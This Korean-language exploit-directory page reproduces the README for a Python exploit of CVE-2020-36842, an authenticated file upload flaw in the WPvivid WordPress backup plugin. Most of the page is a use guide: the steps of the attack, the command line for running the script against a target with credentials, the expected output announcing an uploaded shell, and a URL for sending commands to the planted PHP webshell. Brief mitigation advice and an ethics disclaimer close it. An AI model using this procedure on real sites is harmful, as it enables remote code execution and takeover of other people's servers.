Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-36842 — 게시일: 2024-10-16 | 마이그레이션, 백업, 스테이징 – WPvivid <= 0.9.35 - 인증된 (Subscriber+) 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/nxploited/cve-2020-36842
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubnxploited/cve-2020-36842

CVE-2020-36842

게시일: 2024-10-16 | 마이그레이션, 백업, 스테이징 – WPvivid <= 0.9.35 - 인증된 (Subscriber+) 임의 파일 업로드

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-36842

CVE-2020-36842 - WPvivid 플러그인 임의 파일 업로드 취약점

개요

  • CVE ID: CVE-2020-36842
  • 공개/업데이트 날짜: October 16, 2024
  • 영향받는 플러그인: WPvivid - Migration, Backup, Staging
  • 영향받는 버전: 0.9.35 이하
  • 취약점 유형: 임의 파일 업로드 및 추출
  • 필요 권한: 인증된 사용자 (구독자 이상)

설명

사이트 마이그레이션 및 백업을 위해 설계된 WPvivid WordPress 플러그인은 임의 파일 업로드 결함에 취약합니다. 이 취약점을 통해 낮은 권한의 인증된 사용자가 ZIP 파일을 업로드하고 추출할 수 있으며, 추출된 파일 내에 악성 스크립트가 배포될 경우 원격 코드 실행(RCE)으로 이어질 수 있습니다.

익스플로잇 과정

Python 익스플로잇 스크립트가 다음 방법을 사용하여 이 취약점을 악용하도록 제작되었습니다:

  1. 버전 확인: 대상 WordPress 사이트가 v0.9.35 이하를 실행 중인지 확인합니다.
  2. 인증: 제공된 WordPress 자격 증명을 사용하여 로그인합니다.
  3. 파일 업로드: 현재 디렉토리에서 ZIP 파일을 검색하여 WPvivid의 AJAX API를 통해 업로드합니다.
  4. 업로드 확인: 파일이 성공적으로 업로드되었는지 확인합니다.
  5. 추출 트리거: WPvivid 가져오기 기능을 실행하여 업로드된 아카이브를 추출합니다.
  6. 쉘 배포 확인: 악성 스크립트(예: )가 성공적으로 배포되고 접근 가능한지 확인합니다.
nxploit.php

예상 출력

익스플로잇이 성공하면 스크립트는 다음을 출력합니다:

root@kitploit:~
[+] Logged in successfully.
[+] Target is vulnerable. Proceeding with exploitation.
[+] Uploading file: Success
[+] Confirming upload: Success
[+] Starting import: Success
[+] Shell uploaded successfully at: http://target-site.com/wp-content/nxploit.php

익스플로잇 사용 방법

전제 조건

악성 shell.zip 파일이 익스플로잇 스크립트와 동일한 디렉토리에 존재하는지 확인하십시오.

shell.zip 파일에는 PHP 웹쉘 (예: nxploit.php)이 포함되어야 합니다.

구독자 이상의 권한을 가진 유효한 WordPress 계정이 필요합니다.

실행 단계

  1. 다음 명령으로 익스플로잇 스크립트를 실행합니다:
root@kitploit:~
python CVE-2020-36842.py -u http://target-site.com -un username khaled -p password 123
  1. 스크립트는 대상 버전을 확인하고 제공된 자격 증명을 사용하여 로그인합니다.

  2. 대상이 취약한 경우 스크립트는 shell.zip을 업로드하고 추출합니다.

  3. 성공하면 스크립트는 업로드된 쉘의 URL을 제공합니다.

웹 쉘과 상호 작용

쉘이 성공적으로 업로드되고 추출되면 URL을 통해 명령을 전송하여 상호 작용할 수 있습니다:

root@kitploit:~
http://target-site.com/wp-content/nxploit.php?cmd=pwd

완화 전략

이 취약점을 완화하려면 다음을 강력히 권장합니다:

  1. WPvivid 플러그인을 최신 보안 버전으로 업데이트하십시오.
  2. 사용자 역할을 제한하여 무단 파일 업로드를 방지하십시오.
  3. 서버 로그 및 파일 활동을 모니터링하여 의심스러운 업로드를 탐지하십시오.
  4. .htaccess 또는 서버 구성을 사용하여 wp-content/uploads 디렉토리에서 직접 스크립트 실행을 비활성화하십시오.

결론

이 취약점은 인증된 공격자가 WordPress 서버에 악성 파일을 업로드하고 실행할 수 있게 하므로 심각한 위험을 제기합니다. 사이트 관리자는 설치를 보호하기 위해 즉시 조치를 취해야 합니다.

면책 조항: 이 문서는 윤리적인 보안 연구 및 교육 목적으로만 제공됩니다. 허가 없이 취약점을 악용하는 것은 불법이며 관련 법률에 따라 처벌받을 수 있습니다. ( Nxploit | Khaled_alenazi )

도구 다운로드